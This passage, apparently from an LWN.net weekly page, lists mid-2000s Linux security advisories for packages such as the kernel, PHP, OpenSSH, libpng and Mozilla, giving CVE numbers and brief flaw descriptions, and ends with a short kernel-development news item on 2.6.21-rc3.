6.0.7 allow user-assisted attackers to cause a denial of service and
possibly execute execute arbitrary code via (1) a DCM image that is not
properly handled by the ReadDCMImage function in coders/dcm.c, or (2) a
PALM image that is not properly handled by the ReadPALMImage function in
coders/palm.c. |
| Alerts: |
|
Comments (2 posted)
imlib2: arbitrary code execution
| Package(s): | imlib2 |
CVE #(s): | CVE-2006-4806
CVE-2006-4807
CVE-2006-4808
CVE-2006-4809
|
| Created: | November 6, 2006 |
Updated: | August 13, 2007 |
| Description: |
M. Joonas Pihlaja discovered that imlib2 did not sufficiently verify the
validity of ARGB, JPG, LBM, PNG, PNM, TGA, and TIFF images. If a user
were tricked into viewing or processing a specially crafted image with
an application that uses imlib2, the flaws could be exploited to execute
arbitrary code with the user's privileges. |
| Alerts: |
|
Comments (none posted)
java: multiple vulnerabilities
| Package(s): | java |
CVE #(s): | CVE-2006-4339
CVE-2006-4790
CVE-2006-6731
CVE-2006-6736
CVE-2006-6737
CVE-2006-6745
|
| Created: | January 18, 2007 |
Updated: | June 4, 2010 |
| Description: |
java has multiple vulnerabilities, these include:
an RSA exponent padding attack vulnerability, two vulnerabilities
which allow untrusted applets to access data in other applets,
vulnerabilities that involve applets gaining privileges due to
serialization bugs in the JRE and buffer overflows in the java image
handling routines that can give attackers read/write/execute capabilities
for local files. |
| Alerts: |
|
Comments (1 posted)
kdelibs: integer overflow
| Package(s): | kdelibs |
CVE #(s): | CVE-2006-4811
|
| Created: | October 18, 2006 |
Updated: | March 5, 2007 |
| Description: |
The KDE khtml library can pass untrusted parameters into Qt, allowing a hostile user to trigger an integer overflow there and execute arbitrary code. |
| Alerts: |
|
Comments (none posted)
kdelibs: kate backup file permission leak
| Package(s): | kdelibs kate kwrite |
CVE #(s): | CAN-2005-1920
|
| Created: | July 19, 2005 |
Updated: | September 21, 2010 |
| Description: |
Kate / Kwrite, as shipped with KDE 3.2.x up to including 3.4.0, creates a file backup before saving a modified file. These backup files are created with default permissions, even if the original file had more strict permissions set. See this advisory for more information. |
| Alerts: |
|
Comments (1 posted)
kdelibs: cross-site scripting
| Package(s): | kdelibs konqeror |
CVE #(s): | CVE-2007-0537
|
| Created: | February 5, 2007 |
Updated: | August 13, 2007 |
| Description: |
Konqueror 3.5.5 does not properly parse HTML comments, which allows remote
attackers to conduct cross-site scripting (XSS) attacks and bypass some XSS
protection schemes by embedding certain HTML tags within a comment, a
related issue to CVE-2007-0478. |
| Alerts: |
|
Comments (none posted)
kernel: denial of service
| Package(s): | kernel |
CVE #(s): | CVE-2006-4623
|
| Created: | October 18, 2006 |
Updated: | November 14, 2007 |
| Description: |
The kernel DVB layer can be caused to crash with maliciously-formatted unidirectional lightweight encapsulation (ULE) data. |
| Alerts: |
|
Comments (none posted)
kernel: denial of service
| Package(s): | kernel |
CVE #(s): | CVE-2006-0007
CVE-2007-0006
|
| Created: | February 15, 2007 |
Updated: | November 14, 2007 |
| Description: |
Linux kernel versions from 2.6.9 to 2.6.20 have a denial of service
vulnerability. A remote attacker can cause the key_alloc_serial
function's key serial number collision avoidance code to have a
null dereference, resulting in a crash. |
| Alerts: |
|
Comments (1 posted)
kernel: denial of service
| Package(s): | kernel |
CVE #(s): | CVE-2006-4535
CVE-2006-4538
|
| Created: | September 18, 2006 |
Updated: | January 5, 2009 |
| Description: |
Sridhar Samudrala discovered a local denial of service vulnerability
in the handling of SCTP sockets. By opening such a socket with a
special SO_LINGER value, a local attacker could exploit this to crash
the kernel. (CVE-2006-4535)
Kirill Korotaev discovered that the ELF loader on the ia64 and sparc
platforms did not sufficiently verify the memory layout. By attempting
to execute a specially crafted executable, a local user could exploit
this to crash the kernel. (CVE-2006-4538) |
| Alerts: |
|
Comments (none posted)
kernel: denial of service by memory consumption
| Package(s): | kernel |
CVE #(s): | CVE-2006-2936
|
| Created: | July 17, 2006 |
Updated: | November 14, 2007 |
| Description: |
The ftdi_sio driver (usb/serial/ftdi_sio.c) in Linux kernel 2.6.x up to
2.6.17, and possibly later versions, allows local users to cause a denial
of service (memory consumption) by writing more data to the serial port
than the driver can handle, which causes the data to be queued. |
| Alerts: |
|
Comments (none posted)
kernel: denial of service
| Package(s): | kernel |
CVE #(s): | CVE-2007-0772
|
| Created: | February 23, 2007 |
Updated: | November 14, 2007 |
| Description: |
The Linux kernel before 2.6.20.1 allows remote attackers to cause a denial
of service (oops) via a crafted NFSACL 2 ACCESS request that triggers a free
of an incorrect pointer. |
| Alerts: |
|
Comments (none posted)
kernel: denial of service
| Package(s): | kernel |
CVE #(s): | CVE-2006-5757
|
| Created: | November 13, 2006 |
Updated: | November 14, 2007 |
| Description: |
From the MOKB-05-11-2006
advisory: "The ISO9660 filesystem handling code of the Linux
2.6.x kernel fails to properly handle corrupted data structures, leading to
an exploitable denial of service condition. This particular vulnerability
seems to be caused by a race condition and a signedness issue. When
performing a read operation on a corrupted ISO9660 fs stream, the
isofs_get_blocks() function will enter an infinite loop when
__find_get_block_slow() callback from sb_getblk() fails ("due to various
races between file io on the block device and getblk")." |
| Alerts: |
|
Comments (none posted)
kernel: denial of service
| Package(s): | kernel |
CVE #(s): | CVE-2006-2935
CVE-2006-4145
CVE-2006-3745
|
| Created: | September 1, 2006 |
Updated: | July 30, 2008 |
| Description: |
Previous versions of the kernel package are subject to several
vulnerabilities. Certain malformed UDF filesystems can cause the system to
crash (denial of service). Malformed CDROM firmware or USB storage devices
(such as USB keys) could cause system crash (denial of service), and if
they were intentionally malformed, can cause arbitrary code to run with
elevated privileges. In addition, the SCTP protocol is subject to a remote
system crash (denial of service) attack. |
| Alerts: |
|
Comments (none posted)
kernel: multiple vulnerabilities
| Package(s): | kernel |
CVE #(s): | CVE-2006-5749
CVE-2006-4814
CVE-2006-6106
|
| Created: | January 5, 2007 |
Updated: | January 8, 2009 |
| Description: |
A security issue has been reported in Linux kernel due to an error in
drivers/isdn/i4l/isdn_ppp.c as the "isdn_ppp_ccp_reset_alloc_state()"
function never initializes an event timer before scheduling it with the
"add_timer()" function.
The mincore function in the kernel does not properly lock access to user
space, which has unspecified impact and attack vectors, possibly related to
a deadlock.
Another vulnerability has been reported in Linux kernel caused by a
boundary error within the handling of incoming CAPI messages in
net/bluetooth/cmtp/capi.c. This can be exploited to overwrite certain
Kernel data structures. |
| Alerts: |
|
Comments (none posted)
krb5: uninitialized pointers
| Package(s): | krb5 |
CVE #(s): | CVE-2006-6143
CVE-2006-3084
|
| Created: | January 10, 2007 |
Updated: | July 7, 2010 |
| Description: |
The kdamind daemon can, in some situations, perform operations on uninitialized pointers. This bug could conceivably open up the system to a code execution attack by an unauthenticated remote attacker, but it appears to be difficult to exploit. See this advisory for details. |
| Alerts: |
|
Comments (1 posted)
krb5: local privilege escalation
| Package(s): | krb5 |
CVE #(s): | CVE-2006-3083
|
| Created: | August 9, 2006 |
Updated: | July 7, 2010 |
| Description: |
Some kerberos applications fail to check the results of setuid() calls, with the result that, if that call fails, they could continue to execute as root after thinking they had switched to a nonprivileged user. A local attacker who can cause these calls to fail (through resource exhaustion, presumably) could exploit this bug to gain root privileges. |
| Alerts: |
|
Comments (none posted)
libgadu: memory alignment bug
| Package(s): | libgadu |
CVE #(s): | CAN-2005-2370
|
| Created: | July 29, 2005 |
Updated: | June 25, 2007 |
| Description: |
Szymon Zygmunt and Michal Bartoszkiewicz discovered a memory alignment
error in libgadu (from ekg, console Gadu Gadu client, an instant
messaging program) which is included in gaim, a multi-protocol instant
messaging client, as well. This can not be exploited on the x86
architecture but on others, e.g. on Sparc and lead to a bus error,
in other words a denial of service.
|
| Alerts: |
|
Comments (none posted)
libgtop2: buffer overflow
| Package(s): | libgtop2 |
CVE #(s): | CVE-2007-0235
|
| Created: | January 15, 2007 |
Updated: | August 9, 2007 |
| Description: |
The /proc parsing routines in libgtop are vulnerable to a buffer overflow.
If an attacker can run a process in a specially crafted long
path then trick a user into running gnome-system-monitor,
arbitrary code can be executed with the user's privileges. |
| Alerts: |
|
Comments (none posted)
libmodplug: boundary errors
| Package(s): | libmodplug |
CVE #(s): | CVE-2006-4192
|
| Created: | December 11, 2006 |
Updated: | May 4, 2011 |
| Description: |
Luigi Auriemma has reported various boundary errors in load_it.cpp and
a boundary error in the "CSoundFile::ReadSample()" function in
sndfile.cpp. A remote attacker can entice a user to read crafted modules
or ITP files, which may trigger a buffer overflow resulting in the
execution of arbitrary code with the privileges of the user running the
application. |
| Alerts: |
|
Comments (none posted)
libpng: buffer overflow
| Package(s): | libpng |
CVE #(s): | CVE-2006-3334
|
| Created: | July 19, 2006 |
Updated: | December 15, 2008 |
| Description: |
In pngrutil.c, the function png_decompress_chunk() allocates
insufficient space for an error message, potentially overwriting stack
data, leading to a buffer overflow. |
| Alerts: |
|
Comments (none posted)
libpng: heap based buffer overflow
| Package(s): | libpng |
CVE #(s): | CVE-2006-0481
|
| Created: | February 13, 2006 |
Updated: | December 15, 2008 |
| Description: |
A heap based buffer overflow bug was found in the way libpng strips alpha
channels from a PNG image. An attacker could create a carefully crafted PNG
image file in such a way that it could cause an application linked with
libpng to crash or execute arbitrary code when the file is opened by a
victim. |
| Alerts: |
|
Comments (1 posted)
libtiff: buffer overflow
| Package(s): | libtiff |
CVE #(s): | CVE-2006-2193
|
| Created: | June 15, 2006 |
Updated: | September 1, 2008 |
| Description: |
The t2p_write_pdf_string function in libtiff 3.8.2 and earlier is vulnerable
to a buffer overflow. Attackers can use a TIFF file with UTF-8 characters
in the DocumentName tag to overflow a buffer, causing a denial of service,
and possibly the execution of arbitrary code. |
| Alerts: |
|
Comments (none posted)
libvncserver: authentication bypass
| Package(s): | libvncserver |
CVE #(s): | CVE-2006-2450
|
| Created: | August 4, 2006 |
Updated: | March 19, 2007 |
| Description: |
LibVNCServer fails to properly validate protocol types effectively
letting users decide what protocol to use, such as "Type 1 - None".
LibVNCServer will accept this security type, even if it is not offered
by the server. |
| Alerts: |
|
Comments (none posted)
libxml2 - arbitrary code execution
| Package(s): | libxml2 |
CVE #(s): | CAN-2004-0110
|
| Created: | February 26, 2004 |
Updated: | August 19, 2009 |
| Description: |
Yuuichi Teranishi discovered a flaw in libxml2 versions prior to 2.6.6.
When fetching a remote resource via FTP or HTTP, libxml2 uses special
parsing routines. These routines can overflow a buffer if passed a very
long URL. If an attacker is able to find an application using libxml2 that
parses remote resources and allows them to influence the URL, then this
flaw could be used to execute arbitrary code. |
| Alerts: |
|
Comments (none posted)
libxml2: multiple buffer overflows
| Package(s): | libxml2 |
CVE #(s): | CAN-2004-0989
|
| Created: | October 28, 2004 |
Updated: | August 19, 2009 |
| Description: |
libxml2 prior to version 2.6.14 has multiple buffer overflow
vulnerabilities, if a local user passes a specially crafted
FTP URL, arbitrary code may be executed. |
| Alerts: |
|
Comments (none posted)
lynx: arbitrary command execution
| Package(s): | lynx |
CVE #(s): | CVE-2005-2929
|
| Created: | November 14, 2005 |
Updated: | September 14, 2009 |
| Description: |
An arbitrary command execute bug was found in the lynx "lynxcgi:" URI
handler. An attacker could create a web page redirecting to a malicious URL
which could execute arbitrary code as the user running lynx. |
| Alerts: |
|
Comments (none posted)
mysql: format string bug
| Package(s): | mysql |
CVE #(s): | CVE-2006-3469
|
| Created: | July 21, 2006 |
Updated: | July 30, 2008 |
| Description: |
Jean-David Maillefer discovered a format string bug in the
date_format() function's error reporting. By calling the function with
invalid arguments, an authenticated user could exploit this to crash
the server. |
| Alerts: |
|
Comments (none posted)
MySQL: privilege violations
| Package(s): | mysql |
CVE #(s): | CVE-2006-4031
CVE-2006-4226
|
| Created: | August 25, 2006 |
Updated: | July 30, 2008 |
| Description: |
MySQL 4.1 before 4.1.21 and 5.0 before 5.0.24 allows a local user to access
a table through a previously created MERGE table, even after the user's
privileges are revoked for the original table, which might violate intended
security policy (CVE-2006-4031).
MySQL 4.1 before 4.1.21, 5.0 before 5.0.25, and 5.1 before 5.1.12, when run
on case-sensitive filesystems, allows remote authenticated users to create
or access a database when the database name differs only in case from a
database for which they have permissions (CVE-2006-4226). |
| Alerts: |
|
Comments (none posted)
MySQL: logging bypass
| Package(s): | mysql |
CVE #(s): | CVE-2006-0903
|
| Created: | April 4, 2006 |
Updated: | May 21, 2008 |
| Description: |
MySQL 5.0.18 and earlier allows local users to bypass logging mechanisms
via SQL queries that contain the NULL character, which are not properly
handled by the mysql_real_query function. NOTE: this issue was originally
reported for the mysql_query function, but the vendor states that since
mysql_query expects a null character, this is not an issue for mysql_query. |
| Alerts: |
|
Comments (2 posted)
nbd: arbitrary code execution
| Package(s): | nbd |
CVE #(s): | CVE-2005-3534
|
| Created: | January 6, 2006 |
Updated: | March 7, 2011 |
| Description: |
Kurt Fitzner discovered that the NBD (network block device) server did not
correctly verify the maximum size of request packets. By sending specially
crafted large request packets, a remote attacker who is allowed to access
the server could exploit this to execute arbitrary code with root
privileges. |
| Alerts: |
|
Comments (none posted)
ncompress: buffer underflow
| Package(s): | ncompress |
CVE #(s): | CVE-2006-1168
|
| Created: | August 10, 2006 |
Updated: | February 21, 2012 |
| Description: |
The ncompress compression utility has a missing boundary check.
A local user can use a maliciously created file to cause a
a .bss buffer underflow. |
| Alerts: |
|
Comments (none posted)
nexuiz: arbitrary code execution, denial of service
| Package(s): | nexuiz |
CVE #(s): | CVE-2006-6609
CVE-2006-6610
|
| Created: | February 26, 2007 |
Updated: | February 28, 2007 |
| Description: |
Nexuiz fails to correctly validate input within "clientcommands". There is
also a failure to correctly handle connection attempts from remote hosts.
Using a specially crafted "clientcommand" a remote attacker can cause a
buffer overflow in Nexuiz which could result in the execution of arbitrary
code. Additionally, there is a Denial of Service vulnerability in Nexuiz
allowing an attacker to cause Nexuiz to crash or to run out of resources by
overloading it with specially crafted connection requests. |
| Alerts: |
|
Comments (none posted)
openldap: security bypass
| Package(s): | openldap |
CVE #(s): | CVE-2006-4600
|
| Created: | September 29, 2006 |
Updated: | June 12, 2007 |
| Description: |
slapd in OpenLDAP before 2.3.25 allows remote authenticated users with
selfwrite Access Control List (ACL) privileges to modify arbitrary
Distinguished Names (DN). |
| Alerts: |
|
Comments (none posted)
OpenSSH: denial of service
| Package(s): | openssh |
CVE #(s): | CVE-2006-4925
CVE-2006-5052
|
| Created: | October 6, 2006 |
Updated: | November 15, 2007 |
| Description: |
packet.c in ssh in OpenSSH allows remote attackers to cause a denial of
service (crash) by sending an invalid protocol sequence with
USERAUTH_SUCCESS before NEWKEYS, which causes newkeys[mode] to be NULL.
An unspecified vulnerability in portable OpenSSH before 4.4, when running
on some platforms, allows remote attackers to determine the validity of
usernames via unknown vectors involving a GSSAPI "authentication abort." |
| Alerts: |
|
Comments (none posted)
openssh: privilege separation issue
| Package(s): | openssh |
CVE #(s): | CVE-2006-5794
|
| Created: | November 8, 2006 |
Updated: | April 5, 2007 |
| Description: |
From the OpenSSH 4.5 announcement: "Fix a bug in the sshd privilege separation monitor that weakened its
verification of successful authentication. This bug is not known to
be exploitable in the absence of additional vulnerabilities." |
| Alerts: |
|
Comments (none posted)
openssh: remote denial of service
| Package(s): | openssh |
CVE #(s): | CVE-2006-4924
CVE-2006-5051
|
| Created: | September 27, 2006 |
Updated: | September 17, 2008 |
| Description: |
Openssh 4.4 fixes some
security issues, including a pre-authentication denial of service, an
unsafe signal hander and on portable OpenSSH a GSSAPI authentication abort
could be used to determine the validity of usernames on some platforms. |
| Alerts: |
|
Comments (none posted)
php: several vulnerabilities
| Package(s): | php |
CVE #(s): | CVE-2006-4481
CVE-2006-4484
CVE-2006-4485
|
| Created: | September 8, 2006 |
Updated: | June 13, 2008 |
| Description: |
The file_exists and imap_reopen functions in PHP before 5.1.5 do not check
for the safe_mode and open_basedir settings, which allows local users to
bypass the settings (CVE-2006-4481).
A buffer overflow in the LWZReadByte function in ext/gd/libgd/gd_gif_in.c
in the GD extension in PHP before 5.1.5 allows remote attackers to have an
unknown impact via a GIF file with input_code_size greater than
MAX_LWZ_BITS, which triggers an overflow when initializing the table array
(CVE-2006-4484).
The stripos function in PHP before 5.1.5 has unknown impact and attack
vectors related to an out-of-bounds read (CVE-2006-4485). |
| Alerts: |
|
Comments (1 posted)
php: multiple vulnerabilities
| Package(s): | php |
CVE #(s): | CVE-2007-0906
CVE-2007-0907
CVE-2007-0908
CVE-2007-0909
CVE-2007-0910
CVE-2007-0988
|
| Created: | February 20, 2007 |
Updated: | March 21, 2007 |
| Description: |
A number of buffer overflow flaws were found in the PHP session extension,
the str_replace() function, and the imap_mail_compose() function.
If very long strings under the control of an attacker are passed to the
str_replace() function then an integer overflow could occur in memory
allocation. If a script uses the imap_mail_compose() function to create a
new MIME message based on an input body from an untrusted source, it could
result in a heap overflow. An attacker who is able to access a PHP
application affected by any these issues could trigger these flaws and
possibly execute arbitrary code as the 'apache' user. (CVE-2007-0906)
If unserializing untrusted data on 64-bit platforms, the zend_hash_init()
function can be forced to enter an infinite loop, consuming CPU resources
for a limited length of time, until the script timeout alarm aborts
execution of the script. (CVE-2007-0988)
If the wddx extension is used to import WDDX data from an untrusted source,
certain WDDX input packets may allow a random portion of heap memory to be
exposed. (CVE-2007-0908)
If the odbc_result_all() function is used to display data from a database,
and the contents of the database table are under the control of an
attacker, a format string vulnerability is possible which could lead to the
execution of arbitrary code. (CVE-2007-0909)
A one byte memory read will always occur before the beginning of a buffer,
which could be triggered for example by any use of the header() function in
a script. However it is unlikely that this would have any effect.
(CVE-2007-0907)
Several flaws in PHP could allows attackers to "clobber" certain
super-global variables via unspecified vectors. (CVE-2007-0910) |
| Alerts: |
|
Comments (none posted)
php: buffer overflows
| Package(s): | php |
CVE #(s): | CVE-2006-5465
|
| Created: | November 3, 2006 |
Updated: | January 18, 2010 |
| Description: |
The Hardened-PHP Project discovered buffer overflows in
htmlentities/htmlspecialchars internal routines to the PHP Project. Of
course the whole purpose of these functions is to be filled with user
input. (The overflow can only be when UTF-8 is used) |
| Alerts: |
|
Comments (none posted)
phpbb2: missing input sanitizing
| Package(s): | phpbb2 |
CVE #(s): | CVE-2006-1896
|
| Created: | May 22, 2006 |
Updated: | February 11, 2008 |
| Description: |
It was discovered that phpbb2, a web based bulletin board, insufficiently
sanitizes values passed to the "Font Color 3" setting, which might lead to
the execution of injected code by admin users. |
| Alerts: |
|
Comments (none posted)
phpbb2: multiple vulnerabilities
| Package(s): | phpbb2 |
CVE #(s): | CVE-2005-3310
CVE-2005-3415
CVE-2005-3416
CVE-2005-3417
CVE-2005-3418
CVE-2005-3419
CVE-2005-3420
CVE-2005-3536
CVE-2005-3537
|
| Created: | December 22, 2005 |
Updated: | February 11, 2008 |
| Description: |
The phpbb2 web forum has a number of vulnerabilities including:
a web script injection problem, a protection mechanism bypass, a
security check bypass, a remote global variable bypass, cross site
scripting vulnerabilities, an SQL injection vulnerability,
a remote regular expression modification problem, missing input
sanitizing, and a missing request validation problem. |
| Alerts: |
|
Comments (none posted)
postgresql: insufficient verification
| Package(s): | postgresql |
CVE #(s): | CVE-2007-0555
CVE-2007-0556
|
| Created: | February 5, 2007 |
Updated: | March 19, 2007 |
| Description: |
PostgreSQL has two vulnerabilities that allow an authenticated attacker
with the permissions to run arbitrary SQL to launch a denial-of-service
attack or possibly read out random chunks of memory. Since attacks to
require authenticated access, the security hole is only considered medium
risk. See announcement for additional
information. |
| Alerts: |
|
Comments (none posted)
postgresql: SQL injection
| Package(s): | postgresql |
CVE #(s): | CVE-2006-2313
CVE-2006-2314
|
| Created: | May 24, 2006 |
Updated: | June 6, 2007 |
| Description: |
The PostgreSQL team has put out a set of "urgent updates" (in the form of the 7.3.15, 7.4.13, 8.0.8, and 8.1.4 releases) closing a
newly-discovered set of SQL injection issues. Details about the problem
can be found on the
technical information page; in short: multi-byte encodings can be used
to defeat normal string sanitizing techniques. The update fixes one problem
related to invalid multi-byte characters, but punts on another by simply
disallowing the old, unsafe technique of escaping single quotes with a
backslash. |
| Alerts: |
|
Comments (1 posted)
quake: buffer overflow
| Package(s): | quake3-bin |
CVE #(s): | CVE-2006-2236
|
| Created: | May 10, 2006 |
Updated: | January 12, 2009 |
| Description: |
Games based on the Quake 3 engine are vulnerable to a buffer overflow exploitable by a hostile game server. |
| Alerts: |
|
Comments (none posted)
rpm: arbitrary code execution
| Package(s): | rpm |
CVE #(s): | CVE-2006-5466
|
| Created: | November 6, 2006 |
Updated: | August 28, 2007 |
| Description: |
An error was found in the RPM library's handling of query reports. In
some locales, certain RPM packages would cause the library to crash. If
a user was tricked into querying a specially crafted RPM package, the
flaw could be exploited to execute arbitrary code with the user's
privileges. |
| Alerts: |
|
Comments (none posted)
samba: several vulnerabilities
Comments (none posted)
Mozilla: multiple vulnerabilities
| Package(s): | seamonkey firefox thunderbird |
CVE #(s): | CVE-2006-6077
CVE-2007-0008
CVE-2007-0009
CVE-2007-0775
CVE-2007-0777
CVE-2007-0778
CVE-2007-0779
CVE-2007-0780
CVE-2007-0800
CVE-2007-0981
CVE-2007-0995
CVE-2007-0996
|
| Created: | February 26, 2007 |
Updated: | July 23, 2007 |
| Description: |
Several flaws were found in the way SeaMonkey processed certain malformed
JavaScript code. A malicious web page could execute JavaScript code in such
a way that may result in SeaMonkey crashing or executing arbitrary code as
the user running SeaMonkey. (CVE-2007-0775, CVE-2007-0777)
Several cross-site scripting (XSS) flaws were found in the way SeaMonkey
processed certain malformed web pages. A malicious web page could display
misleading information which may result in a user unknowingly divulging
sensitive information such as a password. (CVE-2006-6077, CVE-2007-0995,
CVE-2007-0996)
A flaw was found in the way SeaMonkey cached web pages on the local disk. A
malicious web page may be able to inject arbitrary HTML into a browsing
session if the user reloads a targeted site. (CVE-2007-0778)
A flaw was found in the way SeaMonkey displayed certain web content. A
malicious web page could generate content which could overlay user
interface elements such as the hostname and security indicators, tricking a
user into thinking they are visiting a different site. (CVE-2007-0779)
Two flaws were found in the way SeaMonkey displayed blocked popup windows.
If a user can be convinced to open a blocked popup, it is possible to read
arbitrary local files, or conduct an XSS attack against the user.
(CVE-2007-0780, CVE-2007-0800)
Two buffer overflow flaws were found in the Network Security Services (NSS)
code for processing the SSLv2 protocol. Connecting to a malicious secure
web server could cause the execution of arbitrary code as the user running
SeaMonkey. (CVE-2007-0008, CVE-2007-0009)
A flaw was found in the way SeaMonkey handled the "location.hostname" value
during certain browser domain checks. This flaw could allow a malicious web
site to set domain cookies for an arbitrary site, or possibly perform an
XSS attack. (CVE-2007-0981) |
| Alerts: |
|
Comments (1 posted)
shadow-utils: mailbox creation vulnerability
| Package(s): | shadow-utils |
CVE #(s): | CVE-2006-1174
|
| Created: | May 25, 2006 |
Updated: | June 12, 2007 |
| Description: |
The useradd tool from the shadow-utils package has a potential security
problem. When a new user's mailbox is created, the permissions are
set to random garbage from the stack, potentially allowing the
file to be read or written during the time before fchmod() is called. |
| Alerts: |
|
Comments (none posted)
slocate: information disclosure
| Package(s): | slocate |
CVE #(s): | CVE-2007-0227
|
| Created: | February 22, 2007 |
Updated: | March 30, 2007 |
| Description: |
The slocate permission checking code has a local information disclosure
vulnerability. During the reporting of matching files, slocate does not
respect the parent directory's read permissions, resulting in hidden
filenames being viewable by other local users. |
| Alerts: |
|
Comments (none posted)
smb4k: multiple vulnerabilities
| Package(s): | smb4k |
CVE #(s): | CVE-2007-0472
CVE-2007-0473
CVE-2007-0474
CVE-2007-0475
|
| Created: | February 13, 2007 |
Updated: | March 12, 2007 |
| Description: |
The Smb4K
0.8.0 release announcement notes that several security weaknesses in
the utility programs (stack overflows / the use of strcpy instead of
strncpy / a design error in smb4k_kill) and in the Smb4KFileIO class (use
of mktemp instead of mkstemp for creation of the temporary files which
could lead to both a race and an information leak / a race in the code that
handles the lock file). Fixes for all of these issues are included in Smb4K
0.8.0 and in the patches that have been prepared for Smb4K 0.7.5 and
0.6.10a. Other versions are not supported anymore. |
| Alerts: |
|
Comments (none posted)
snort: denial of service
| Package(s): | snort |
CVE #(s): | CVE-2006-6931
|
| Created: | February 14, 2007 |
Updated: | March 1, 2007 |
| Description: |
From the Gentoo advisory: Randy Smith, Christian Estan and Somesh Jha discovered that the rule
matching algorithm of Snort can be exploited in a way known as a
"backtracking attack" to perform numerous time-consuming operations. Version 2.6.1.2 contains the fix. |
| Alerts: |
|
Comments (none posted)
spamassassin: denial of service
| Package(s): | spamassassin |
CVE #(s): | CVE-2007-0451
|
| Created: | February 16, 2007 |
Updated: | March 14, 2007 |
| Description: |
Version 3.1.8 of Spamassassin fixes some bugs and a malformed HTML denial
of service vulnerability. |
| Alerts: |
|
Comments (none posted)
sun-jdk: arbitrary code execution
| Package(s): | sun-jdk |
CVE #(s): | CVE-2007-0243
|
| Created: | February 19, 2007 |
Updated: | April 25, 2007 |
| Description: |
A anonymous researcher discovered that an error in the handling of a GIF
image with a zero width field block leads to a memory corruption flaw. An
attacker could entice a user to run a specially crafted Java applet or
application that would load a crafted GIF image, which could result in
escalation of privileges and unauthorized access to system resources. |
| Alerts: |
|
Comments (1 posted)
ufo2000: multiple vulnerabilities
| Package(s): | ufo2000 |
CVE #(s): | CVE-2006-3788
CVE-2006-3789
CVE-2006-3790
CVE-2006-3791
CVE-2006-3792
|
| Created: | February 26, 2007 |
Updated: | February 28, 2007 |
| Description: |
Five vulnerabilities were found: a buffer overflow in recv_add_unit();
a problem with improperly trusting user-supplied string information in
decode_stringmap(); several issues with array manipulation via various
commands during play; an SQL injection in server_protocol.cpp; and
finally, a second buffer overflow in recv_map_data(). |
| Alerts: |
|
Comments (none posted)
ulogd: buffer overflow
| Package(s): | ulogd |
CVE #(s): | CVE-2007-0460
|
| Created: | January 29, 2007 |
Updated: | March 19, 2007 |
| Description: |
A buffer overflow in ulogd has an unknown impact and attack vectors related
to "improper string length calculations." |
| Alerts: |
|
Comments (none posted)
unzip: long file name buffer overflow
| Package(s): | unzip |
CVE #(s): | CVE-2005-4667
|
| Created: | February 6, 2006 |
Updated: | May 2, 2007 |
| Description: |
A buffer overflow in UnZip 5.50 and earlier allows local users to execute
arbitrary code via a long filename command line argument. NOTE: since the
overflow occurs in a non-setuid program, there are not many scenarios under
which it poses a vulnerability, unless unzip is passed long arguments when
it is invoked from other programs. |
| Alerts: |
|
Comments (1 posted)
w3c-libwww: possible stack overflow
| Package(s): | w3c-libwww |
CVE #(s): | CVE-2005-3183
|
| Created: | October 14, 2005 |
Updated: | May 2, 2007 |
| Description: |
xtensive testing of libwww's handling of multipart/byteranges content from
HTTP/1.1 servers revealed multiple logical flaws and bugs in
Library/src/HTBound.c |
| Alerts: |
|
Comments (1 posted)
wireshark: multiple vulnerabilities
Comments (6 posted)
xine: format string vulnerabilities
| Package(s): | xine |
CVE #(s): | CVE-2007-0017
|
| Created: | January 23, 2007 |
Updated: | August 10, 2007 |
| Description: |
Multiple format string vulnerabilities in (1) the cdio_log_handler function
in modules/access/cdda/access.c in the CDDA (libcdda_plugin) plugin, and
the (2) cdio_log_handler and (3) vcd_log_handler functions in
modules/access/vcdx/access.c in the VCDX (libvcdx_plugin) plugin, in
VideoLAN VLC 0.7.0 through 0.8.6 allow user-assisted remote attackers to
execute arbitrary code via format string specifiers in an invalid URI, as
demonstrated by a udp://-- URI in an M3U file. |
| Alerts: |
|
Comments (none posted)
xine-lib: buffer overflow
| Package(s): | xine-lib |
CVE #(s): | CVE-2006-6172
|
| Created: | December 5, 2006 |
Updated: | June 5, 2007 |
| Description: |
A buffer overflow was discovered in the Real Media input plugin in
xine-lib. If a user were tricked into loading a specially crafted stream
from a malicious server, the attacker could execute arbitrary code with the
user's privileges. |
| Alerts: |
|
Comments (none posted)
xine-lib: buffer overflow
| Package(s): | xine-lib |
CVE #(s): | CVE-2006-1664
|
| Created: | April 27, 2006 |
Updated: | February 27, 2008 |
| Description: |
xine-lib does an improper input data boundary check on
MPEG streams. A specially crafted MPEG file can be
created that can cause arbitrary code execution when the
file is accessed. |
| Alerts: |
|
Comments (none posted)
xinit: race condition
| Package(s): | xinit |
CVE #(s): | CVE-2006-5214
|
| Created: | October 17, 2006 |
Updated: | August 9, 2007 |
| Description: |
A race condition allows local users to see error messages generated during
another user's X session. This could allow potentially sensitive
information to be leaked. |
| Alerts: |
|
Comments (1 posted)
X.org: local privilege escalations
| Package(s): | xorg-x11 |
CVE #(s): | CVE-2006-4447
|
| Created: | August 28, 2006 |
Updated: | April 30, 2007 |
| Description: |
Several X.org libraries and X.org itself contain system calls to
set*uid() functions, without checking their result. Local users could
deliberately exceed their assigned resource limits and elevate their
privileges after an unsuccessful set*uid() system call. This requires
resource limits to be enabled on the machine. |
| Alerts: |
|
Comments (none posted)
X.org: integer overflows
| Package(s): | xorg, xorg-server |
CVE #(s): | CVE-2006-6101
CVE-2006-6102
CVE-2006-6103
|
| Created: | January 10, 2007 |
Updated: | March 8, 2007 |
| Description: |
A number of integer overflows have turned up in the X.org server. Some of these overflows involve calls to alloca(), and thus make corruption of the stack relatively easy. This vulnerability is exploitable by anybody who can make a connection to the server, meaning that it is a local root exploit in most settings. See this advisory for details. |
| Alerts: |
|
Comments (none posted)
xpdf: buffer overflow
| Package(s): | xpdf |
CVE #(s): | CAN-2005-0064
|
| Created: | January 19, 2005 |
Updated: | March 15, 2007 |
| Description: |
iDEFENSE has found yet another xpdf buffer overflow; see this advisory for details. |
| Alerts: |
|
Comments (1 posted)
Page editor: Jonathan Corbet
Kernel development
Brief items
The current 2.6 prepatch is 2.6.21-rc3,
released by Linus on
March 6. It contains quite a few fixes and some KVM enhancements.
Says Linus: "
...there's some hope that it will work more widely than
-rc1 and -rc2 did." The
long-form
changelog has the details.
As of this writing, no patches have been merged into the mainline git
repository since -rc3 was released.
The current -mm tree is 2.6.21-rc2-mm2. Recent changes
to -mm include a set of memory anti-fragmentation patches (see below), the
dropping of the buffered filesystem I/O patches, the Devicescape wireless stack (now rebranded "mac80211"),
and a new krealloc()
memory allocation function.
